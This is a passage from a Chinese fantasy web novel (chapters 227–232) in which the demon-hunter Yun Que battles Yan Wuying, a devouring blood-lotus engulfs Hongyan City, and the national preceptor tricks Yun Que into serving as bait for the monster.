一刀之力,将燕无鹰震得后退了数步。 上官鸿途与花不谢等人都看得出来,云缺这一刀的力量,已经达到了六品宗师的威能! 燕无鹰握刀的手,溢出鲜血。 他看了眼手里的血迹,抬头时,双眼转化为与云缺类似的血瞳。 当云缺再次猛冲而出之际,妖刀上探出一只血色巨爪! 燕无鹰的长刀之内同样也有一只兽爪出现。 两道非人般的身影,在城墙上疯狂厮杀,四周的空气不断扭曲震颤,野兽般的嘶吼声频频炸起! 花不谢几人被战斗的气息震撼,不由自主的往后退去。 梅钱犹豫了一下,想要帮忙,却被耳畔出现的老者声音阻止。 “退后!那小子既然现出如此状态,说明不需要你了,别去碍事。” 梅钱立刻往后退去。 云缺真正的战力,梅钱是知道的,云缺那种恐怖的妖力一旦出现,就预示着对手绝无活路。 陈洲骅正悬在半空,即将滑出城外,他离着战团太近,两人恶战所产生的狂暴妖气差点把他吹飞。 “咱们先出城!” 陈洲骅大吼一声就要滑出城外,结果一回头,吓得他魂飞魄散。 城墙外,居然无声无息的长出了一朵血色莲花,那莲花的花瓣上密密麻麻全是獠牙,犹如一张大口,正从脚下吞来! 陈洲骅的头发被吓得竖立起来,玩命往上一窜,又跳回城墙。 血色莲花一口咬空,没再出现,不知留在城墙外还是缩了回去。 陈洲骅也不敢看,急忙与上官鸿途等人汇合。 不仅城外,此时连城内的城墙上都开始出现大小不一的血色莲花。 这些莲花宛若活物,一朵朵盛开在墙壁,远远看去给人一种诡异的妖艳之感! 花不谢惊疑道: “好诡异的阵道气息!我能感觉到阵法中蕴含着强烈的妖气!” 司徒盼晴一指远处盘坐在红莲上的身影,道: “是她搞的鬼!妖花明显是活物,却被融合到法阵里,这种手段好奇怪呀,我都没听说过!” 轰隆隆!!! 司徒盼晴话音未落,狂暴的气息从侧面吹来,将众人吹得脚下不稳。 气息来自城墙上的战斗。 云缺与燕无鹰的身影变得更加恐怖狰狞,两人的肩头均有巨爪出现,手里的长刀在互相猛斩,肩头的妖爪在互相厮杀。 众人看得心惊肉跳。 这种战斗,超出了修行者的范畴。 哪里是武者交战,根本是两头怪物在亡命搏杀! 上官鸿途无比震惊的道: “原来这就是前朝斩妖司的战斗方式,难怪能与妖都同归于尽,实在可怕……” 陈洲骅看得冷汗直冒,他是六品宗师,但他说什么也不愿与云缺和燕无鹰这种怪物动手。 “城里的妖莲还在生长!” 司徒盼晴盯着附近的妖花,惊呼道。 一朵狰狞的红莲从城墙上方出现,磨盘大小,花瓣内遍布细牙,就在陈洲骅脚下冒了出来,要不是他躲得快,非得被莲花吞了不可。 陈洲骅恼羞成怒,抽刀就斩。 好歹自己也是宗师,两次差点被吞,这要死在妖莲口中,说出去都丢人! 等刑部那边统计死因的时候,有的人被敌人杀死,写着阵亡,有的人被火炮轰死,写着死无全尸,等到他陈洲骅的名字后边,标注个,被花吃了。 陈洲骅想一想都觉得后怕。 同样经历一场恶战,别人都战死,成了阵亡之人,到他这直接成了肥料。 六品宗师之力被陈洲骅尽数爆发,把眼前的血色莲花斩成两半。 陈洲骅刚刚出了口恶气,就见两半的莲花,各自从缺失的位置再次生长出花瓣! 从一朵血莲,变成了两朵! 陈洲骅二话不说又是两刀下去,结果两朵血莲变成了四朵! 这下陈洲骅慌了。 这玩意越砍越多,谁能受得了! 司徒盼晴惊呼道: “城墙长叶子了!这座城要变成血莲之城!” 众人往下一看。 纷纷心头发沉。 城墙上除了不断冒出的血莲之外,从墙根处开始出现大片绿叶。 绿叶的生长速度不算很快,慢慢从城下覆盖而来,时间一久,鸿雁城的四处城墙会被完全包裹。 城墙上的异样,城外的牧青瑶看得一清二楚。 从城外看去,整片城墙仿佛变成了活物,下方是大片绿叶蔓延,上方是无数血莲冒出,让人觉得到了一处异界,而非人间。 牧青瑶捏起小手,下令道: “城中有变,速战速决!” 章岳闻言加快了进攻速度,叛军被快速绞杀,褚犀的处境越发艰难。 青禾在牧青瑶的示意下出手,与章岳联手对付褚犀。 城墙上。 陈洲骅不敢贸然出手,死死盯着眼前的血莲,焦急不已。 正想问问司天监的高手有没有法子脱困,陈洲骅忽然看到血莲上方浮现出一道流光。 流光一闪而逝,现出了一道消瘦的老者身影。 陈洲骅大惊,以为是敌人来袭,他刚要大喊一声敌袭,结果那血莲合拢,将老者包裹其中。 显然血莲是将老者给吞了。 陈洲骅的脑子一时转不过弯来。 究竟发生了什么? 红莲教的妖法,难道连自己人也吃? 不等陈洲骅想明白究竟,只见合拢的那朵血莲从外表开始快速枯萎,随后寸寸断裂开来。 被血莲吞掉的老者,安然无恙的站在城头。 陈洲骅不认得对方,花不谢司徒盼晴几人也不认得,不知对方是敌是友。 但上官鸿途认得! 看清老者的模样之后,上官鸿途惊呼道: “杨七古,杨先生!” 出现在城墙上的,正是七叔。 上官鸿途曾经是天祈学宫的学子,他在学宫求学的时候,杨七古还在回春殿,所以上官鸿途一眼认出了当年的先生。 云缺捏碎玉符,相当于开启了传送阵,杨七古很快抵达。 出现在鸿雁城之后,杨七古看了眼一侧的云缺,微微皱眉。 云缺那种狂暴的状态,连杨七古都觉得心惊。 随后杨七古将目光落在盘坐于红莲上的那道身影。 第227章 狗大户除外 斩妖司。 萍山君拎着一筐鹌鹑蛋往回走,嘴里嘀嘀咕咕。 “鹅蛋还大吗?那么小一个,别说鹅蛋,大鹅老子都一口一个,真难伺候……” 把鹌鹑蛋送回去后,萍山君又在云缺的吩咐下开始烧水。 冷水无法消弭云缺心头的烦躁,还不如泡个热水澡舒服。 等忙活完之后,萍山君终于溜出澡堂子,找了个没人的地方自怨自怜的抱怨道: “老子好歹也是一山之王,在浮萍山我想吃谁吃谁,如今当了官儿,反而成了孙子!赚点俸禄可真难呐,下辈子还当老虎,当人太累了……” 水池里热气腾腾。 云缺靠在一角,闭着眼,尽力平复心神。 然而心绪的烦乱始终存在,难以压制。 这次与以往不同。 以前动用过量的妖力,充其量被妖魂控制本体,醒来也就正常了。 现在云缺不仅有妖力的反噬,心神更是起伏不定。 纷乱的心绪,来自于对燕无鹰的恨意,而这份恨意当中,其实更多的,是无奈。 在燕无鹰眼里,云缺这个斩妖司最后的猎妖人本该协助他复国,一同迎接大燕王朝,可最后却反目成仇。 对于燕无鹰来说,云缺是个背叛者。 背叛了大燕。 在云缺眼里,燕无鹰又何尝不是背叛。 背叛了友情。 尽管只是半个朋友,但这份背叛,仍旧让云缺心中刺痛。 “我就不该有朋友……” 云缺苦笑了一声,将脖子上的月玉贴在额头,闭着眼泡在水里。 不久后,乏累的云缺沉沉睡去。 斩妖司的大厅里再无声息,静如永夜。 云缺极其罕见的做了个梦。 梦见自己睡在一片无边无际的白骨之上。 那些白骨有的是人,有的是妖,惨白一片,无边无际。 云缺并非一个人。 在身边,还有个很小很瘦的小女孩,正用一只小小的手掌,轻抚着云缺的额头。 云缺看不清那小女孩的模样,却能感受到小手的冰冷。 而这份冰冷,逐渐消弭着云缺内心的躁动与不安。 她是谁? 云缺在梦中如此想着,也如此问着。 对方不说话,就那么静静的陪伴在身旁,仿佛从云缺的生命之初,小女孩就一直存在。 安安静静,陪伴着一路走来。 直至午夜,云缺终于醒来,身上的疲惫尽数消失,心绪也恢复了正常。 水很热。 大厅里弥漫着蒸汽。 萍山君临走前添了很多煤,再烧下去澡堂子都能变成沸水。 “傻老虎,想煮熟我啊,烧水都不会。” 云缺骂了句,起身走出水池。 一旁有镜子,上面全是水气,云缺擦了一把,现出镜子里的自己。 清秀的脸庞,眉目中带着一种锋利。 云缺的容貌不俗,不是那种单纯的帅气,而是一种携带着杀气的阳刚。 云缺觉得自己的那份清秀,肯定来自母亲。 因为母亲是很美的女人,如大家闺秀,温柔中不失飒爽,绝对是巾帼女子。 自己的容貌,没什么好看的,因为太熟悉。 扫了一眼,云缺便错开目光,准备穿衣服。 可随后他的动作忽然凝固! 一动不动的,站在镜子前。 随着缓缓的转过脸来,云缺看到了镜子中,自己的额头上有一个小小的手印! 并非印在脸上的印记,而是一种诡异的痕迹! 由于大厅里全是水汽,云缺满脸都是水,可唯独额头,有一块干燥的区域,那块干燥的区域形成了手印形状。 如果不照镜子,这种诡异的印记是无法发现的,等擦去脸上的水,手印也会随之消失。 盯着镜子里自己的额头,云缺的心神再次泛起滔天巨浪! 梦境里的一幕,居然在现实中出现! 在梦里,有个小女孩轻抚着自己的额头。 醒来后,自己的额头居然出现一个手印! 即便身为猎妖人,常年行走在生死之间,云缺没什么惧怕的东西,但这一次,云缺有一种浑身发凉的感觉。 绝非鬼物之类,因为这里是司天监,不可能出现鬼怪。 更不是妖,如果有妖物接近,哪怕云缺在沉睡,妖刀也会第一时间察觉。 手印,到底是怎么来的? 云缺猛地抓起月玉。 睡着之前,他把月玉放在了额头。 但月玉的形状是羽毛,不是手掌,不可能出现手印这种痕迹。 很快云缺得出一个猜测。 月玉里,有东西! 转念一想又觉得不对。 如果月玉有问题,牧青瑶又岂能始终带在身上。 这块月玉,牧青瑶从小就带着,是阜南王送给女儿的礼物。 阜南王不可能害自己的闺女。 云缺越想越毫无头绪。 月玉的力量,最初他很清楚,对自己有些作用。 当初杀掉红莲教两个护法的时候,月玉的存在,帮云缺压制了妖力的躁动。 直到后来八山城斩杀五阶鹿妖,月玉散发的镇魂之力变得愈发惊人,与最初相比简直天壤之别。 这一点也是云缺想不通的地方。 穿好衣服,云缺直接去了庸医馆。 牧青瑶肯定不知道月玉为何会改变,最好的办法就是请教七叔。 杨七古端详着眼前的月玉,看了良久,皱眉道: “玉不错,很值钱。” “我觉得这块玉里面有东西,七叔感知一下,玉石里是不是有个小鬼儿。”云缺道。 “没有,很纯粹的一块美玉,有些镇魂之效,很难得。”杨七古将月玉扔给云缺。 “真没有东西?那刚才泡澡的时候,是谁摸我的头呢?”云缺百思不解。 “你可能睡魔怔了。”杨七古道。 “是真的啊七叔!我在镜子里看到额头有个手印,很小,肯定是个小孩子,而且我还做了个梦,梦见有个很小的小女孩按着我的额头。”云缺道。 “有什么不适之处?”杨七古给云缺把了把脉。 “没有,睡着之前心绪烦乱,睡醒后觉得好多了。”云缺道。 “梦为心之念,这阵子你可能太过乏累,好好歇歇,多吃点青菜。”杨七古松开手,道。 “用不用开服药补补身子?”云缺道。 “开什么药,你比牛都壮!我看你是肉吃多了,多吃点草就好了。”杨七古没好气的道。 “七叔的庸医馆难怪赚不到钱,病人要开药你还不给开,果然是庸医呀。”云缺呵呵笑道。 “医者悬壶济世,不以利为先。”杨七古高深莫测的道,一副两袖清风的模样。 这时医馆外闯进来一行人,有丫鬟有仆人,抬着个病恹恹的胖员外。 到了医馆,说明病症,原来这户人家的老爷贪杯,喝到半夜突然发病上吐下泻气息奄奄。 别看庸医馆刚开张没多久,但治好了不少人,小有名气,这胖员外家在附近,生病后立刻赶来。 杨七古搭了下脉,道: “酒为病之本,你家老爷常年酗酒,身子已经熬不住了,中了酒毒,解毒一百两,治病一百两,养身一百两。” 一句话,三百两的诊费。 这户人家不差钱,当场给出三百两银票。 杨七古给胖员外灌了一杯不知什么药材调配的水,又开了两个方子。 喝完汤药,胖员外果然好转不少,千恩万谢,如获至宝的拿着方子抓药去了。 等一行人走后,云缺道: “七叔的汤药挺贵吧,那一小杯,得值多少钱?” “七种药材熬制,本钱三两银子。”杨七古道。 云缺听得瞪大了眼睛,道: “三两银子的药钱,要了人家三百两?七叔不是说医者悬壶济世,不以利为先么?” “刚才没说完。” 杨七古面无表情的收起银票,道:“医者悬壶济世,不以利为先,狗大户除外。” 云缺听得无可奈何。 云缺觉得自己其实是个好孩子,天真又善良,是后来跟着七叔学坏的…… “七叔,如果红莲教主就是楚红莲的话,你有几分把握能赢。”云缺道。 “一分把握也没有。” 杨七古叹了口气,道:“无论修为还是毒道,楚红莲都在我之上,当年与她切磋,她其实没用出全力,我能察觉到。” “那咱们不是输定了?总不能咱们爷俩一起去送死吧。”云缺道。 “放心,我虽然没把握赢她,但我有把握拉着她一同走一遭黄泉。”杨七古的目光泛起冷意。 七叔的话,云缺听懂了。 四个字。 同归于尽! 云缺想要说点什么,可张开嘴,却又说不出话来。 杨七古的为人,未必称得上大公无私,年轻时肯定做过不少荒唐事,坑过不少人。 但七叔是个嫉恶如仇的人。 红莲教屠戮百姓的所作所为,杨七古无法视而不见。 尤其是被杨七古视为红颜知己的楚红莲,如果当真是杀人如麻的邪教教主,那么杨七古只有一条路可走。 痛下杀手,再无所恋! 离开庸医馆之后,云缺免不得心头感慨。 牧青瑶当初说的那番话,果然没错。 红尘是一张网。 被网住的人,哪怕再如何奋力挣扎,也无法逃脱这张红尘之网所编制的恩怨情仇。 回到司天监,天还没亮。 云缺盘坐在屋中,拿出一个小瓷瓶。彡彡訁凊 里面是养元丹,还剩十多粒。 把丹药都倒在手里,云缺直咂舌。 这玩意太贵,三千两一粒,自己都不舍得吃。 不吃还不行,只有配合丹药与灵气,才能冲击六品。 只靠着自己修炼,猴年马月也成不了宗师境的武者。 拿起一粒服下,云缺准备炼化药效修炼。 大敌当前,哪怕修为多那么一点,也是好的。 正准备将剩余的养元丹收进瓷瓶,忽然手心开裂,现出一张嘴巴,一下将剩余的十几粒养元丹吞掉! 第228章 最丑的蘑菇 手心里的豁口,类似狸猫的嘴巴,一闪而逝,很快消失。 云缺的手心恢复了正常。 但十几粒养元丹,彻底消失不见。 云缺怔了一下,接着怒意大起。 手心里的嘴巴,显然是妖魂在搞鬼,十几粒养元丹都被妖魂给吞了。 一粒养元丹三千两,十粒三万,妖魂一口吞了五万两左右! 云缺哪能不气,破口大骂: “你个贱……” 刚骂出三个字,耳畔响起妖魂诡异的声音。 “不想要刀了是吧,臭弟弟,你是不是想骂姐姐是个贱人。” 云缺的眼皮跳了跳,脸上的怒意瞬间消失,和颜悦色的道: “哪有!我们姐弟情深,相依为命,我怎么能骂姐姐呢。” “那你想说贱什么。”妖魂不依不饶的道。 “贱……见者有份!我的丹药,自然得分给姐姐吃,吃够没有,不够我再买点。” 云缺苦着脸说道。 人在屋檐下,不得不低头,妖魂这家伙小心眼,给她惹毛了,妖刀是真不出来啊。 “哼,口是心非,你那破丹药,我才不稀罕。”妖魂不屑道。 听这语气,云缺都能想象到妖魂现在肯定在翻着白眼。 “不要更好,把养元丹还给我,那玩意挺贵的。”云缺道。 “已经吃完,吐不出来。”妖魂道。 云缺无声的骂了几句,还不能发出声音,实在令他懊恼。 公主病不算病,发起病来真要命。 换成别的女人,云缺非得将其吊起来一顿好打不可。 可对于妖魂,云缺是一点办法都没有。 吃就吃呗,吃完了免费的馅饼还骂人家卖馅饼的没烙好。 人家都是吃不到葡萄说葡萄酸,嫉妒心嘛,有情可原,你这是吃了葡萄还骂葡萄酸! “行罢,吃完了你歇着去好了。” 云缺实在无话可说,跟妖魂置气的话,自己早晚得被气死。 妖魂却没有歇着的打算,道: “你当是我自己吃么,我是帮你吃的,那种破丹药,跟个宝贝似的三天两头才吃一粒,你也不嫌累,姐姐帮你一口气吃完。” “帮我吃?”云缺诧异道。 “是啊,我又没有本体,吸收不到药效,自然是帮你吃的。”妖魂道。 云缺这时也反应了过来。 妖魂用自己的手心充当嘴巴,看似吞在妖口,实际是沉入自己的手心,相当于自己吃了十几粒养元丹。 “一次吃那么多,你想毒死我啊!”云缺恼怒道。 丹药是好东西,但吃多了,就成了毒,这一点修行者都心知肚明。 药效若沉积过多还无法尽快炼化,会将修行者直接毒死! “别人能毒死,你怕什么,你的肉身经过妖魂洗练,堪比六阶妖兽,连五品金身境武者都没你强悍,区区十几粒养元丹算什么,你应该吃更强的灵丹,这样才能修炼得更快。” 妖魂说完这番话,云缺顿时有一种拨云见月之感。 云缺知道自己的肉身很强,但修行者的习惯是长年累月积攒下来的,所以云缺始终认为丹药就该一粒一粒吃。 适合自己境界的丹药,每天至多吃一粒,因为吃多了无法炼化药效,属于浪费。 他忘记了肉身强大的同时,服用的丹药数量也可以大幅增加。 “这么说,我冲进六品宗师境的速度,至少能提升十倍以上!” 云缺大笑了两声,心头一阵畅快。 别人一天至多吃一粒养元丹,云缺能吃十粒,药效能完全吸收的情况下,修炼速度自然会递增十倍。 别人十年能冲进六品宗师,云缺只需要一年就够! 算上自身的修炼天赋,甚至连一年都用不上! 高兴之余,云缺很快冷静了下来。 养元丹实在太贵! 这玩意一天十粒的话,就是三万两银子! 修炼的速度是快了,但家底儿也会很快耗空。 云缺现在浑身上下,十多万两银子,算一算也就够吃个四天五天的。 正感慨着缺钱的时候,云缺忽然想起来双角山。 “对呀!我有矿啊!” 随后云缺再次高兴起来。 手握金银两座大矿,养元丹算什么,咱以后拿灵丹当饭吃! 第230章 互相调戏 首辅的马车,行驶在皇城长街。 车厢里,一老一少,大眼瞪小眼。 云缺根本不想去,是被周史伯硬生生给拽出来的。 周史伯信誓旦旦,称云缺是请国师出手的最佳人选。 司天监所有人,全都同意云缺出面。 毕竟这种事其实有点丢人。 司天监是吕青的地盘,监正闭关,下边的人手遇到难题无法解决,去求外人,换成谁都有点尴尬。 但放在云缺这里就没问题了。 谁让云缺脸皮够厚呢,就算请不来国师,哪怕被骂一顿轰出来,人家也不在乎。 “首辅大人这次失算了,我又不认得国师,她肯定不会给我面子啊!” 云缺说得万般无奈。 不给面子算好听的,估计国师看到自己,肯定恨得牙根儿痒痒。 “大敌当前,老夫实在想不出其他办法,姑且一试罢。”周史伯苦涩的道。 周史伯很清楚国师超然出尘,对大晋的事其实根本不在乎,否则三路大敌齐聚,国师早该出手才对。 国师始终不动,说明连皇帝都请不动人家。 “总不能拿我去试吧,我只是个小小的少监而已,去了容易坏事,还不如让灵芸郡主去呢。”云缺苦着脸道。 “不,你与旁人不同。” 周史伯凝重的道:“当初草原使团抵达皇城,你与那血蛮比斗之际,我发现国师的目光始终停留在你身上,显然对你很看重,你放心,到了缥缈阁,老夫会出面恳求国师,你站在一旁即可。” 云缺彻底没招儿了。 总不能明说,自己在妖山占了国师的便宜,当时国师不是看重我,而是想宰了我啊! 马车很快抵达缥缈阁。 周史伯走在前面,云缺万般无奈的跟着。 缥缈阁冷冷清清,大殿内燃着无数烛火。 凌妙清的身影盘坐于蒲团之上,绝世的容颜如天外之仙,看一眼就会令人沉迷其中,难以自拔。 周史伯走进大殿后,拱手道: “老夫,见过国师。” 凌妙清睁开双眼,一双剪水之眸无悲无喜,清冷无情。 “首辅大人来我缥缈阁,不知有何事。” 说完,凌妙清的目光落在云缺身上。 随后这位国师毫无情感波动的双眼,出现了一丝波澜,同时缥缈阁内的温度骤然变冷。 云缺始终面无表情的低垂着眼帘,表现得规规矩矩,只盯着脚下的地面,对国师绝美的脸庞视而不见。 周史伯开门见山,道: “鸿雁城被红莲教以妖法笼罩,城内百姓生死不明,国师能否伸出援手,协助我等破掉妖法。” 周史伯说出这番话,完全是硬着头皮说的,他实在没有其他办法,只好来缥缈阁试一试能否搬动国师这位强者。 周史伯其实半点信心也没有。 凌妙清的超然出尘,是真正意义上的超然,大晋立国十余年,周史伯就没见过凌妙清出手。 当然周史伯并不怨恨什么。 有国师这种强大的高手坐镇,完全能形成一种威慑,即便人家天天不出门,至少名声在外,邵武国这些年之所以迟迟不敢妄动,大晋国师的名号就是一个原因。 按照周史伯的预料,他今天贸然来访,国师肯定会婉言谢绝,毕竟监正闭关不出,凭什么人家国师就得出手。 然而让周史伯始料不及的是,凌妙清居然直接答应了下来。 “可以,不过我需要一个助手协助。”凌妙清道。 周史伯大喜,急忙承诺道:“国师请说!哪怕让老夫协助都行!” 凌妙清瞥了眼旁边的云缺,道: “就要他。” 三个字,听得云缺心里拔凉。 第231章 你家祖坟在哪 月光之下,一道剑光破空而行。 凌妙清御剑的速度与高度,绝非学宫里那些学子可比。 几乎飞在云端,耳畔狂风呼啸! 云缺将气机运转到脚底,牢牢连接着飞剑本体,同时心头骇然。 太快了! 道门三品化神境的强者,果然实力惊人。 云缺坐过花不谢的飞行法器,自己也有极品程度的飞行法器,本来觉得都挺快的,现在一对比,简直天壤之别! 在凌妙清的飞剑之下,云缺觉得自己的飞鹰法器,慢如牛车。 从天祈城到鸿雁城,极品飞行法器也要一个时辰左右的时间才能抵达,但凌妙清的飞剑没用一刻钟就到了。 远处,遍布血莲的城池安静得犹如鬼域。 从高空看去,整个鸿雁城仿佛变成了诡异的花海,每一间屋舍上方都笼罩着一朵硕大的血色莲花。 凌妙清停住飞剑,扫了眼下方的城池,目光微微晃动了一下,道: “嗜血魔莲!世上居然还存有如此邪物。” “嗜血魔莲是妖兽?这玩意有多强?”云缺皱眉道。 凌妙清道: “嗜血魔莲以吞噬血食成长,不断分裂出无数血莲,血莲的数量越多代表着实力越强,能覆盖一城,说明这头嗜血魔莲至少活过了上千年,估计远超五阶,有可能达到四阶妖物的程度。” 一听四阶两字,云缺心头一惊。 四阶的妖兽,吞杀五品轻而易举! 即便白厌来了,都得成为嗜血魔莲的食物! “以血食成长……这么说,鸿雁城里的百姓已经死绝。”云缺沉声道。 “此地生灵,早已成为魔莲的养料,咦?” 凌妙清惊讶了一下,仔细看了看城内,道:“血莲里还有活物,均为红袍之人。” “肯定是血袍军,怪不得血袍军战力惊人,原来被魔莲强化了肉身本体。” 云缺说完,不由得想起了乌家寨地底泡在大桶里的战巫。 那些怪物般的乌家战巫,不仅本体强横,连痛觉都被剔除,被打造为不知疼痛的战斗机器。 如今看来,红莲教故技重施,借助魔莲打造出强大的血袍军。 凌妙清神色凝重起来,道: “嗜血魔莲无比凶残,极难驯化,被魔莲吞噬的血食连白骨都不会剩下,即便有御兽高手能驯服魔莲,充其量将其当做一份战力用来对敌,想要借魔莲之力来改造人族这种事,绝无可能。” 凌妙清认为不可能的事,却实实在在的发生在鸿雁城。 云缺听得倍感奇怪,道: “既然魔莲只知道吃血食,为何不吃血袍军?” 凌妙清缓缓摇头,道: “这一点我也很疑惑,嗜血魔莲这等凶物很久没在云州出现过,修行界以为魔莲早已绝迹,眼前的这一头实在古怪。” 连凌妙清都觉得奇怪的局面,云缺更无法看清真相。 但云缺的思维与常人不同,他喜欢将难题简易化。 按照凌妙清的说法,嗜血魔莲几乎不可能被驯化,更不可能以魔莲之力改造血袍军。 于是云缺的脑海里出现一个设想。 他把嗜血魔莲当做一头无法驯服的野狼,套上锁链的话,也许能帮着主人看家护院,但决不可能帮着主人看孩子,真要把野狼和孩子放在一起,那后者肯定会被吃掉。 有什么办法,能让桀骜不驯的野狼不仅能看孩子,还会帮着主人把孩子养大呢? 几乎想遍了办法,最后云缺得出的结论,都是狼吃小孩。 但很快云缺脑子里灵光一闪。 “我知道了!”云缺沉声道。 “你知道了什么?”凌妙清蹙眉道。 “我知道嗜血魔莲为何会强化血袍军,因为这头凶兽,被控制了神智!”云缺道。 一句话,凌妙清随之恍然。 云缺的想法很简单。 既然野狼无论如何驯化,都不可能帮着主人养孩子,那么只剩最后一个办法。 那就是控制住野狼的神智,将其当做活着的傀儡,如此一来,嗜血魔莲会吃其他活物,却不会吃血袍军,并且还会用自身的力量来强化血袍军。 “原来如此……你还算聪明。”凌妙清颔首道。 “这就是光头的好处!没了头发,思路大开,人也变聪明了,国师不妨试试。”云缺道。 凌妙清瞥了眼云缺在月光下铮明瓦亮的大光头,冷哼一声。 “既然鸿雁城里的百姓尽数被吞噬,咱们也没了后顾之忧,国师可全力出手,来一场天雷滚滚或者山崩地裂的法术,把嗜血魔莲砸死。”云缺很诚恳的建议道。 不料凌妙清一挥袍袖,脚下飞剑调转而去,飞向天祈城。 人家根本没出手! “怎么走了?”云缺疑惑道。 “不走做什么,喂花吗。”凌妙清冷声道。 “国师可是道门强者,岂能怕了一朵小小魔莲!就这么走了,以后传出去不好听啊。”云缺道。 云缺其实很期待国师出手。 只要魔莲被除掉,那些血袍军肯定被反噬,能不能活下去都不好说,红莲教的战力必定大减,对付起来就容易多了。 “若有斩杀嗜血魔莲的力量,你觉得在妖山的时候,我会连一只白玉蜘蛛都斗不过么。”凌妙清冷声道。 云缺随之想起来当初在妖山的情景。 凌妙清被心魔所困,勉强能对抗六阶的白玉蜘蛛,嗜血魔莲这种恐怖的凶兽,肯定暂时没有力量对抗。 回头看了眼远处的鸿雁城,云缺大为遗憾。 白来一趟。 飞剑疾驰,在夜空中划出一道气线。 “国师有没有办法对付魔莲?”云缺道。 “有,只要斩掉它身上所有血莲将其重创,就有机会将其灭杀。”凌妙清道。 “这么说,需要很多人联手才行。”云缺道。 “皇城里的五品与六品高手加起来差不多够用。”凌妙清道。 “禁军指挥使都留在皇宫护驾呢,拉不出来啊,皇帝不放人。”云缺无奈道。 “那便将魔莲引到皇城。”凌妙清道。 “是个办法,可是怎么引呢?”云缺道。 “钓鱼需要鱼饵,引妖,自然需要诱饵,你觉得何人来做这诱饵比较合适。”凌妙清道。 “我……”彡彡訁凊 云缺想说我觉得国师自己最合适,可刚一张嘴,忽然一粒丹药飞进口中。 云缺大惊之下急忙掐住自己的脖子,想要吐出来,开始干呕。 凌妙清冷笑了一声,道: “不用白费心思,丹药入口即化,吐不出来的。” 云缺大怒,道:“你给我吃了什么东西!” “百花丹,一种养神类的丹药,贵得很。” 凌妙清似笑非笑的道。 听闻养神类的丹药,云缺非但没有放心,反而紧张起来。 平白无故给自己吃丹药,国师肯定没安好心! 换成别人的话,云缺还不会如此紧张,可凌妙清被占了便宜,恨透了自己,怎么可能送丹药。 云缺是有自知之明的。 学宫里的女学子好骗,打套拳,说一番慷慨之言,就有机会让人喜欢上自己。 国师这种修炼了上百年的老妖精可不好骗。 反正丹药也吃了,吐不出来,云缺破罐破摔的道: “国师既然想弄死我,何必浪费毒药,一剑下去岂不是更简单,趁我还有口气,直接砍死我好了。” “你以为我给你吃毒丹?”凌妙清道。 “肯定的!你这小心眼儿的女人始终记恨我!不就是摸了你几下吗,你又没少块肉!亏你还是什么道门强者,我呸!我看你就是个锱铢必较的泼妇!”云缺直接开骂。 凌妙清沉着脸,道: “给你吃的百花丹非但无毒,反而有养神之效,你自己感觉一番自可清楚。” 凌妙清没去理睬云缺,驾驭飞剑飞进天祈城。 云缺仔细感知了一番。 还别说,药效散开后果然凉丝丝的很舒服,心神觉得十分宁静,并没有任何中毒的征兆。 尤其服下丹药后,云缺整个人散发着淡淡的花香。 毒丹是没有这种功效的。 确定了药效后,云缺脸色一垮。 冤枉人家了…… 尴尬的笑了笑,云缺赔礼道: “对不住啊国师大人,刚才情急之下口无遮拦,冒犯了国师,实在该死,国师大人有大量,肯定不会跟我一个晚辈计较。” “哼,你还没资格让我计较。”凌妙清冷哼道。 “肯定没资格!国师是修行界的仙子,出尘世外,只可远观不可亵渎!我就是个山沟里的俗人,在俗世打滚儿,国师这种高高在上的仙子,看一眼都是我的福气。”云缺笑呵呵的道。 对于哄女人,云缺绝对是高手。 凌妙清听完,眼角轻微的跳了跳,冷冷瞥了云缺一眼。 说得挺好听,但实际呢? 什么只可远观不可亵渎,你不仅近距离的看了个遍,还亵渎了一个时辰! 一个时辰啊! 想起当时的遭遇,凌妙清就气得咬牙切齿。 不过她很快恢复平静,美目里泛着一丝幸灾乐祸的神采。 看到凌妙清的目光变幻,云缺没来由的心头转冷。 平白无故给自己吃灵丹,凌妙清如此举动绝对不正常。 飞剑抵达皇城,落在一处无人小巷。 云缺冷静的道:“你的丹药,肯定有问题!” “没问题,纯正的百花丹,如假包换。” 凌妙清翘起嘴角,微笑道:“百花丹集百花精髓提炼而出,服用后可体生花香,十日不绝,嗜血魔莲最喜欢吃的食物便是各类奇花,百花丹的味道,魔莲无法抗拒,千里之外也可追踪而来,委屈你了,当一次鱼饵罢。” 说罢凌妙清笑了起来,笑容绝美,带着一种大仇得报的畅快,道袍摆动,飘然飞走。 不多时,无人的小巷里响起云缺的怒吼。 “凌妙清!敢不敢告诉我你家祖坟在哪!!!” 第232章 有些人比学宫可怕 寂静的鸿雁城内,燕无鹰盘坐于一处屋舍中修养伤势。 整个屋舍被一朵硕大的血莲包裹着,窗外一片殷红。 血莲强烈的妖气与诡异的花香,融合成一种玄奥的气息,不断被燕无鹰吸收炼化。 他的伤势,在血莲之内快速恢复。 与燕无鹰类似,所有的血袍军都在血莲之内疗伤或者增强着力量。 但不同的是,血袍军的眼眸均被血色笼罩,脸色苍白毫无表情,如同傀儡,只有燕无鹰的状态是正常的。 “魔莲之气,唯有妖血武夫方可吸纳……” 燕无鹰缓缓睁开眼,目光清明,脸上带着一种懊恼与遗憾,低语道: “十五年的布局,十五年的卧薪尝胆!大燕复国在即,云缺,你若阻我,只能将你斩于刀下!” 燕无鹰是个念旧之人,但念旧,并不代表他心慈手软。 屋外的血莲出现晃动。 燕无鹰皱了下眉,起身走出屋外。 当他来到街头,看到了一幅奇怪的景象。 满城的血莲,都在朝着一个方向开始生长,整座鸿雁城居然在缓慢的移动! 燕无鹰诧异了瞬间,匆匆来到城中心一朵血莲之下。 “发生了什么,为何鸿雁城在动?”燕无鹰沉声道。 血莲之内,传出女子清冷的声音: “魔莲嗅到食物的味道,它要捕食。” 燕无鹰道: “鸿雁城已经与魔莲融合,移动得太远肯定会坍塌,让它停下来!” “停不下来,你应该知道嗜血魔莲只能控制,不听号令,它对食物的渴望,我无法阻止。”红莲教主道。 “到底是什么食物,怎么偏偏这时候出现!食物在何处!”燕无鹰道。 “百花之精髓,位置在天祈城的方向,有人认出了嗜血魔莲,打算将我们引到皇城。”红莲教主道。 “现在不是时机!必须让邵武国和炎狼军先消耗天祈城的力量,我们最后出手才有十足把握,一旦我们与天祈拼个两败俱伤,邵武国与朱邪部有可能坐收渔翁之利。 我已经派人去偷袭邵武国的营盘,嫁祸给大晋,五十万大军来了不动,他们别想当缩头乌龟!可惜那两万炎狼军刚来就伤亡过半,连炎狼都丢了,蛮人实在太蠢!”燕无鹰冷声道。 红莲教主道:“少了炎狼军,可以用其他力量代替,大晋还不够乱,再乱一些才好。” 血莲的花瓣缓缓开启,现出红莲教主的身影。 